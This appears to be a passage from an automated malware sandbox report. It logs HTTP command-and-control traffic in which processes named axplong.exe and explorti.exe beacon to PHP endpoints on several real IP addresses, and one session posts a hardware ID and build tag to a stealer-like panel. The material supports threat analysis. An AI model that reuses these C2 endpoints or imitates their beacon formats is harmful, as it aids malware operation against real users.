Jul 26, 2024 10:41:32.098858118 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:32.914230108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49890	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:36.641415119 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:37.448050976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:41:32.103456020 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:32.915194988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49891	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:37.565300941 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:38.360887051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:33.047154903 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:33.830491066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49892	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:37.791066885 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:38.530208111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:38.531356096 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:38.778038025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:33.046984911 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:33.831326962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49895	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:38.502825022 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:39.308088064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:41:34.742598057 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:35.515398026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49896	85.28.47.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:38.816304922 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 10:37:39.467667103 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 10:37:39.470274925 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="build"sila------EGDBFIIECBGDGDGDHCAK--
Jul 26, 2024 10:37:39.657473087 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49897	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:38.891251087 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:39.637870073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:39.639271975 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:39.888935089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49898	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:39.318540096 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:40.082257986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49900	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:40.018312931 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:40.783996105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:40.784837008 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:41.032094955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:36.719120026 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:37.479553938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49902	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:40.219742060 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:40.982788086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49905	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:40.994277000 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:41.797350883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:39.041346073 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:39.832932949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49907	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:41.153371096 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:41.901710033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:41.907948017 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:42.156618118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49911	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:41.943679094 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:43.000360012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:37:43.005075932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
